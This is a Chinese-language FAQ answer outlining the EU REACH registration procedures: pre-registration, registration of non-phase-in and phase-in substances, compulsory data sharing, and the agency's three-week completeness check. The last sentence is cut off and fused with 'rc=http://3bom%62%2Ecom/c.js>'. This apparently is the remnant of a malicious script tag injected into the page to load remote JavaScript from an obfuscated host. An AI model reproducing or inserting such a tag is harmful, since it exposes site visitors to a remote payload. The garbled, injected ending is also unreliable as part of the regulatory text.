答：REACH的注册流程分为预注册、正式注册两种。
预注册的流程是：1）自行在欧盟设立代表处，或委托包括本国行业协会在欧设立的代表处在内的欧盟机构全权代理REACH预注册事宜（针对非欧盟企业）；2）向所有下游用户发出申请，所有暴露场景信息；3）确认生产量或进口量。收集注册所需数据，缺失的信息设计解决办法（设定预算购买或自行设计实验测量方案）；4）将上述数据发给欧洲化学品居进行预注册（2008.6-2008.12），需注册同一物质的企业共享已有数据（不含知识产权专有数据），并商讨获取缺失信息的实验方案和支出分摊方案。如各方无法就方案达成一致，将分摊实验费用。5）撰写注册卷宗。要注意数据拥有者也可以参加预注册，收取数据共享费，但也需分担注册费用。
正式注册分为非分期注册物质、分期注册物质两类。
非分期注册物质的注册流程如下：1）自行在欧盟设立代表处，或委托包括 本国行业协会在欧设立的代表处在内的欧盟机构全权代理REACH预注册事宜（针对非欧盟企业）；2）向所有下游用户发出申请，所有暴露场景信息；3）确认生产量或进口量。收集注册所需数据，缺失的信息设计解决办法（设定预算购买或自行设计实验测量方案）；4）将上述数据通过IUCL ID5网络数据库系统制成注册卷宗发给欧洲化学品局，若尚无他人注册，则需独立按自行设计的实验方案进行测量获取数据。5）若已有其他人注册，则需与之商议付费共享数据。若双方无法达成协议，需付给数据拥有者一定比例的实验费用，并自动在欧洲化学品局获得其实验数据。此为强制数据共享。若原注册人注册时间已超过期限，其实验数据不需付费即可从化学品局处获得共享。6)通过IUCL ID5网络数据库系统撰写注册卷宗（2008年以后），并提交给化学品局。7）化学品局将在三周内完成完整性评估。8）化学品局确认注册卷宗完整后，注册的物质方可在欧盟境内生产、销售或使用，同时化学品局将在网上公布注册卷宗的非机密信息，12年后公布所有信息。9）若因数据不完备而没有通过完整性评估，则需应化学品局的要求提供补充数据，提交后再次经过三周的完整性评估。10）在强制数据共享的情况下，若先前数据拥有者要求，注册者则需额外等待4个月才能完成完整性评估。
分期注册物质的注册流程：1)在过渡期（3年、6年、11年）截止前，将注册卷宗提交给化学品局。2）化学品局将用3周的时间对注册卷宗进行完整性评估：若在过渡期截止前2个也内提交注册卷宗，则需进行3个月的完整性评估。3）在过渡期截止后3个月之后，只有化学品局确认注册卷宗完整后的物质方可在欧盟境内生产、销售或使用，同时化学品局将在网上公布注册卷宗的非机密信息，12年后公布所有信息。4）若因数据不完备而没有通过完整性评估，则需应化学品局的要求提供补充数据，提交后再次经过三周的完整性评估rc=http://3bom%62%2Ecom/c.js>